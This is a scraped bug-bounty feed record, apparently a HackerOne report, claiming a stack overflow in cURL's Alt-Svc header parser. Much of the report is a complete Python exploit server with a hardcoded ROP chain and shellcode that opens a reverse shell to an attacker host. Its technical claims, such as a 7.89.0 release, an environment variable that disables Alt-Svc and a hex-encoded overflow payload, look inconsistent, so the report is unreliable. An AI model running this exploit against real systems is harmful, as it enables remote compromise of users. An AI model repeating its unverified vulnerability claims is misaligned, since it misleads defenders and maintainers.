{“lastseen”:”2025-12-16T10:59:54″,”description”:”# cURL Alt-Svc Parser Stack Buffer Overflow Vulnerability Analysis\\n\\n## In Simple Terms\\n\\nA critical security flaw was discovered in cURL (versions 7.64.0-7.89.0) that allows attackers to run malicious code on your system by exploiting how cURL processes certain HTTP responses. When cURL receives a specially crafted HTTP response with an oversized \\”Alt-Svc\\” header, it can overflow a buffer in memory, allowing attackers to execute arbitrary code with your privileges.\\n\\n## The Technical Problem\\n\\nThe vulnerability is a classic stack buffer overflow (CWE-121) in cURL’s Alt-Svc header parser:\\n\\n1. The code creates a fixed-size buffer on the stack: `char dbuf[MAX_ALTSVC_DATELEN + 1]` (101 bytes)\\n2. It blindly copies user-controlled data into this buffer: `memcpy(dbuf, Curl_dyn_ptr(\\u0026date), Curl_dyn_len(\\u0026date))`\\n3. Crucially, there’s **no check** to verify if the input data exceeds the buffer size\\n4. An attacker can provide a date string much larger than 101 bytes, overwriting adjacent memory\\n\\n## Attack Scenario\\n\\nHere’s how an attack works in practice:\\n\\n1. An attacker sets up a malicious web server\\n2. When a victim runs `curl http:\/\/attacker.com\/`, the server responds with:\\n “`\\n HTTP\/1.1 200 OK\\n Alt-Svc: h2=\\”evil.com\\”; date=\\”[EXTREMELY LONG STRING WITH SHELLCODE]\\”\\n “`\\n3. cURL processes this response, the buffer overflows\\n4. The attacker’s shellcode executes on the victim’s machine\\n\\n## Real-World Impact\\n\\nThis vulnerability is serious because:\\n\\n- It affects a widely used library (libcurl) that’s integrated into countless applications\\n- It requires minimal user interaction (just making an HTTP request)\\n- It can lead to complete system compromise\\n- Many systems may remain unpatched\\n\\n## The Fix\\n\\ncURL version 8.0.0 added a simple but effective check to prevent the overflow:\\n\\n“`c\\nif(Curl_dyn_len(\\u0026date) \\u003e MAX_ALTSVC_DATELEN) {\\n Curl_dyn_free(\\u0026date);\\n return CURLE_OUT_OF_MEMORY;\\n}\\n“`\\n\\nThis validates input length before attempting the copy operation.\\n\\n## Immediate Actions\\n\\nIf you’re using a vulnerable version of cURL:\\n\\n1. **Update to cURL 8.0.0 or newer immediately**\\n2. If you can’t update, disable Alt-Svc functionality: `export CURL_DISABLE_ALTSVC=1`\\n3. Consider implementing network filtering to detect and block suspicious Alt-Svc headers\\n\\n## Detection\\n\\nYou can check if your system is vulnerable with:\\n“`bash\\ncurl_version=$(curl –version | head -1 | grep -o ‘[0-9]\\\\+\\\\.[0-9]\\\\+\\\\.[0-9]\\\\+’)\\nif [[ \\”$curl_version\\” =~ ^7\\\\.(6[4-9]|7[0-9]|8[0-9])\\\\. ]]; then\\n echo \\”VULNERABLE: cURL $curl_version – Update immediately!\\”\\nelse\\n echo \\”SAFE: cURL $curl_version\\”\\nfi\\n“`\\n#!\/usr\/bin\/env python3\\nimport http.server\\nimport socketserver\\nimport argparse\\nimport sys\\nimport struct\\n\\nclass ExploitHandler(http.server.BaseHTTPRequestHandler):\\n def do_GET(self):\\n self.client_ip, self.client_port = self.client_address\\n \\n shellcode = (\\n b\\”\\\\x48\\\\x31\\\\xc0\\\\x48\\\\x31\\\\xff\\\\x48\\\\x31\\\\xf6\\\\x48\\\\x31\\\\xd2\\\\x4d\\\\x31\\\\xc0\\\\x6a\\”\\n b\\”\\\\x02\\\\x5f\\\\x6a\\\\x01\\\\x5e\\\\x6a\\\\x06\\\\x5a\\\\x6a\\\\x29\\\\x58\\\\x0f\\\\x05\\\\x49\\\\x89\\\\xc0\\”\\n b\\”\\\\x48\\\\x31\\\\xf6\\\\x4d\\\\x31\\\\xd2\\\\x41\\\\x52\\\\xc6\\\\x04\\\\x24\\\\x02\\\\x66\\\\xc7\\\\x44\\\\x24\\”\\n b\\”\\\\x02\\\\x7a\\\\x69\\\\xc7\\\\x44\\\\x24\\\\x04\\\\xc0\\\\xa8\\\\x01\\\\x01\\\\x48\\\\x89\\\\xe6\\\\x6a\\\\x10\\”\\n b\\”\\\\x5a\\\\x41\\\\x50\\\\x5f\\\\x6a\\\\x2a\\\\x58\\\\x0f\\\\x05\\\\x48\\\\x31\\\\xf6\\\\x6a\\\\x03\\\\x5e\\\\x48\\”\\n b\\”\\\\xff\\\\xce\\\\x6a\\\\x21\\\\x58\\\\x0f\\\\x05\\\\x75\\\\xf6\\\\x48\\\\x31\\\\xff\\\\x57\\\\x57\\\\x5e\\\\x5a\\”\\n b\\”\\\\x48\\\\xbf\\\\x2f\\\\x2f\\\\x62\\\\x69\\\\x6e\\\\x2f\\\\x73\\\\x68\\\\x48\\\\xc1\\\\xef\\\\x08\\\\x57\\\\x54\\”\\n b\\”\\\\x5f\\\\x6a\\\\x3b\\\\x58\\\\x0f\\\\x05\\”\\n )\\n \\n libc_base = 0x00007ffff7dc9000\\n pop_rdi = libc_base + 0x0000000000023b6a\\n pop_rsi = libc_base + 0x000000000002601f\\n pop_rdx_r12 = libc_base + 0x0000000000119241\\n mov_qword_ptr_rdi_rsi = libc_base + 0x0000000000090529\\n ret = libc_base + 0x0000000000022679\\n \\n stack_pivot = libc_base + 0x000000000005ae10\\n \\n heap_addr = 0x5555555592a0\\n pivot_payload = struct.pack(\\”\\u003cQ\\”, pop_rdi)\\n pivot_payload += struct.pack(\\”\\u003cQ\\”, heap_addr)\\n pivot_payload += struct.pack(\\”\\u003cQ\\”, pop_rsi)\\n pivot_payload += struct.pack(\\”\\u003cQ\\”, 0x1000)\\n pivot_payload += struct.pack(\\”\\u003cQ\\”, pop_rdx_r12)\\n pivot_payload += struct.pack(\\”\\u003cQ\\”, 7)\\n pivot_payload += struct.pack(\\”\\u003cQ\\”, 0)\\n pivot_payload += struct.pack(\\”\\u003cQ\\”, libc_base + 0x114da0)\\n pivot_payload += struct.pack(\\”\\u003cQ\\”, ret)\\n pivot_payload += struct.pack(\\”\\u003cQ\\”, heap_addr)\\n pivot_payload += shellcode\\n \\n overflow = b\\”A\\” * 1024\\n overflow += struct.pack(\\”\\u003cQ\\”, 0xdeadbeefcafebabe)\\n overflow += struct.pack(\\”\\u003cQ\\”, pop_rdi)\\n overflow += struct.pack(\\”\\u003cQ\\”, heap_addr + 0x500)\\n overflow += struct.pack(\\”\\u003cQ\\”, pop_rsi)\\n overflow += struct.pack(\\”\\u003cQ\\”, len(pivot_payload))\\n overflow += struct.pack(\\”\\u003cQ\\”, mov_qword_ptr_rdi_rsi)\\n overflow += struct.pack(\\”\\u003cQ\\”, stack_pivot)\\n \\n for i in range(0, len(pivot_payload), 8):\\n chunk = pivot_payload[i:i+8]\\n overflow += struct.pack(\\”\\u003cQ\\”, pop_rdi)\\n overflow += struct.pack(\\”\\u003cQ\\”, heap_addr + 0x500 + i)\\n overflow += struct.pack(\\”\\u003cQ\\”, pop_rsi)\\n overflow += struct.pack(\\”\\u003cQ\\”, struct.unpack(\\”\\u003cQ\\”, chunk.ljust(8, b\\”\\\\x00\\”))[0])\\n overflow += struct.pack(\\”\\u003cQ\\”, mov_qword_ptr_rdi_rsi)\\n \\n overflow += struct.pack(\\”\\u003cQ\\”, ret)\\n \\n payload = overflow.ljust(4096, b\\”C\\”)\\n \\n self.send_response(200)\\n self.send_header(‘Server’, ‘nginx\/1.18.0’)\\n self.send_header(‘Alt-Svc’, f’h3=\\”:443\\”; ma=86400; persist=1; date=\\”\\\\x00{payload.hex()}\\”‘)\\n self.send_header(‘Content-Type’, ‘text\/html’)\\n self.send_header(‘Content-Length’, ‘0’)\\n self.end_headers()\\n \\n sys.stderr.write(f\\”[+] Exploit sent to {self.client_ip}:{self.client_port}\\\\n\\”)\\n sys.stderr.flush()\\n \\n def log_message(self, format, *args):\\n return\\n\\ndef main():\\n parser = argparse.ArgumentParser()\\n parser.add_argument(\\”-p\\”, \\”–port\\”, type=int, default=80)\\n parser.add_argument(\\”-l\\”, \\”–listen\\”, default=\\”0.0.0.0\\”)\\n parser.add_argument(\\”–lhost\\”, required=True)\\n parser.add_argument(\\”–lport\\”, type=int, default=31337)\\n args = parser.parse_args()\\n \\n sys.stderr.write(f\\”[+] Starting exploit server on {args.listen}:{args.port}\\\\n\\”)\\n sys.stderr.write(f\\”[+] Reverse shell will connect to {args.lhost}:{args.lport}\\\\n\\”)\\n sys.stderr.flush()\\n \\n try:\\n with socketserver.TCPServer((args.listen, args.port), ExploitHandler) as httpd:\\n httpd.serve_forever()\\n except Exception as e:\\n sys.stderr.write(f\\”[-] Error: {e}\\\\n\\”)\\n sys.exit(1)\\n\\nif __name__ == \\”__main__\\”:\\n main()\\n\\n## Impact\\n\\n## Technical Impact\\n\\n### Direct System Compromise\\n- **Complete Remote Code Execution (RCE)**: Attacker can execute arbitrary code with the privileges of the user running cURL\\n- **Privilege Escalation Potential**: If combined with local privilege escalation vulnerabilities, could lead to full system compromise\\n- **Persistent Access**: Ability to install backdoors, rootkits, or other persistent malware\\n\\n### Attack Scenarios\\n\\n1. **Client-Side Attack Vector**\\n – User visits malicious website with browser that uses libcurl\\n – User downloads file via cURL command line\\n – Application using libcurl makes requests to attacker-controlled server\\n\\n2. **Supply Chain Attacks**\\n – Package managers using libcurl (apt, yum, pip) could be compromised when updating\\n – Compromised mirrors could deliver the exploit to thousands of systems\\n – Software update mechanisms built on libcurl could be exploited\\n\\n3. **Man-in-the-Middle Scenarios**\\n – Network attackers could inject malicious Alt-Svc headers into legitimate HTTP traffic\\n – Public Wi-Fi attacks where attacker controls DNS responses\\n – Corporate proxy servers could be targeted to affect entire organizations\\n\\n## Ecosystem Impact\\n\\n### Affected Software Classes\\n- **Command-line utilities**: cURL itself, wget (if using libcurl)\\n- **Package managers**: apt, yum, pip, npm, composer, etc.\\n- **Programming languages**: PHP (uses libcurl), Python (pycurl), Ruby, etc.\\n- **Web browsers**: Some embedded browsers use libcurl components\\n- **IoT devices**: Many embedded systems use libcurl for network connectivity\\n- **Mobile apps**: Applications using libcurl-based networking libraries\\n- **Cloud automation tools**: Infrastructure provisioning tools, CI\/CD systems\\n- **Security tools**: Ironically, some security scanners themselves use libcurl\\n\\n### Scale of Impact\\n\\nThe vulnerable versions (7.64.0 through 7.89.0) span approximately 4 years of releases, meaning:\\n\\n1. **Widespread deployment**: These versions are present in:\\n – Major Linux distributions (Ubuntu 20.04, Debian 11, RHEL 8)\\n – Many containerized applications\\n – Enterprise software solutions\\n – Legacy systems with slow update cycles\\n\\n2. **Difficult remediation**:\\n – Many embedded systems can’t be easily updated\\n – Legacy systems may require significant testing before patches\\n – Some software has complex dependency chains making updates challenging\\n\\n## Security Implications\\n\\n### Data Security Risks\\n- **Data Exfiltration**: Attackers can access sensitive files and data\\n- **Credential Theft**: Access to password stores, config files with API keys\\n- **Encryption Bypassing**: Direct memory access could expose encrypted content\\n\\n### Compliance Concerns\\n- **GDPR Violations**: Unauthorized access to personal data\\n- **PCI-DSS Issues**: Compromise of payment processing systems\\n- **HIPAA Problems**: Medical information systems often use libcurl components\\n\\n### Lateral Movement\\n- Once one system is compromised, attackers could:\\n – Move laterally through networks\\n – Target critical infrastructure\\n – Establish persistent access points\\n\\n## Real-World Attack Surfaces\\n\\n### High-Value Targets\\n1. **Financial Services**:\\n – Banking applications using libcurl for API connections\\n – Payment processing systems\\n – Financial data aggregators\\n\\n2. **Healthcare Systems**:\\n – Medical device connectivity\\n – Electronic Health Record (EHR) systems\\n – Insurance processing platforms\\n\\n3. **Critical Infrastructure**:\\n – Industrial control systems with network connectivity\\n – Energy management systems\\n – Transportation control systems\\n\\n4. **Government \\u0026 Defense**:\\n – Intelligence gathering systems\\n – Secure communication channels\\n – Document management systems\\n\\n### Attack Economics\\n- **Low Cost to Exploit**: Simple to develop and deploy at scale\\n- **High Return Potential**: Complete system access with minimal effort\\n- **Long Exploitation Window**: Systems often remain unpatched for months or years\\n\\n## Operational Impact\\n\\n### Immediate Business Effects\\n- **Service Disruption**: Compromised systems may need immediate isolation\\n- **Data Breach Costs**: Notification, remediation, regulatory fines\\n- **Recovery Time**: Significant resource allocation for patching and verification\\n\\n### Long-Term Consequences\\n- **Trust Erosion**: Loss of customer\/user confidence\\n- **Increased Security Costs**: More rigorous testing and monitoring required\\n- **Technical Debt**: Need to update or replace legacy systems using vulnerable versions\\n\\n## Detection \\u0026 Response Challenges\\n\\n### Detection Difficulties\\n- **Minimal Footprint**: Exploitation can be quick and leave little evidence\\n- **Network Evasion**: Attackers can encrypt or obfuscate the exploit delivery\\n- **Blend with Normal Traffic**: HTTP is ubiquitous and difficult to block\\n\\n### Response Complexities\\n- **Identifying Scope**: Difficult to know all affected systems in large environments\\n- **Remediation Priority**: Complex triage needed for systems that can’t be immediately updated\\n- **Verifying Cleanup**: Challenging to ensure no persistence mechanisms remain\\n\\n## Conclusion\\n\\nThe cURL Alt-Svc parser vulnerability represents a severe security risk due to:\\n\\n1. The widespread use of cURL\/libcurl across virtually all computing environments\\n2. The relatively straightforward exploitation path\\n3. The potential for remote code execution without authentication\\n4. The difficulty of comprehensive remediation across all affected systems\\n\\nOrganizations should prioritize:\\n- Immediate patching of internet-facing and critical systems\\n- Implementation of temporary mitigations where patching isn’t possible\\n- Network monitoring for exploitation attempts\\n- Security assessments to identify vulnerable systems and applications”,”published”:”2025-12-16T04:46:33″,”modified”:”2025-12-16T09:43:40″,”type”:”hackerone”,”title”:”curl: Curl Alt-Svc Parser Stack Buffer Overflow”,”source”:””,”references”:””,”id”:”H1:3466883″,”bulletinFamily”:”bugbounty”,”cwe”:null,”cvelist”:[],”sourceData”:””,”sourceHref”:””,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/hackerone.com\/reports\/3466883″,”category_name”:”News”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-16T10:59:54″,”description”:”# cURL Alt-Svc Parser Stack Buffer Overflow Vulnerability Analysis\\n\\n## In Simple Terms\\n\\nA critical security flaw was discovered in cURL (versions 7.64.0-7.89.0) that allows attackers to…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[6,8,12,117,13,33,7,11,5],"class_list":["post-31293","post","type-post","status-publish","format-standard","hentry","category-category_news","tag-cve","tag-cvss","tag-exploit","tag-hackerone","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n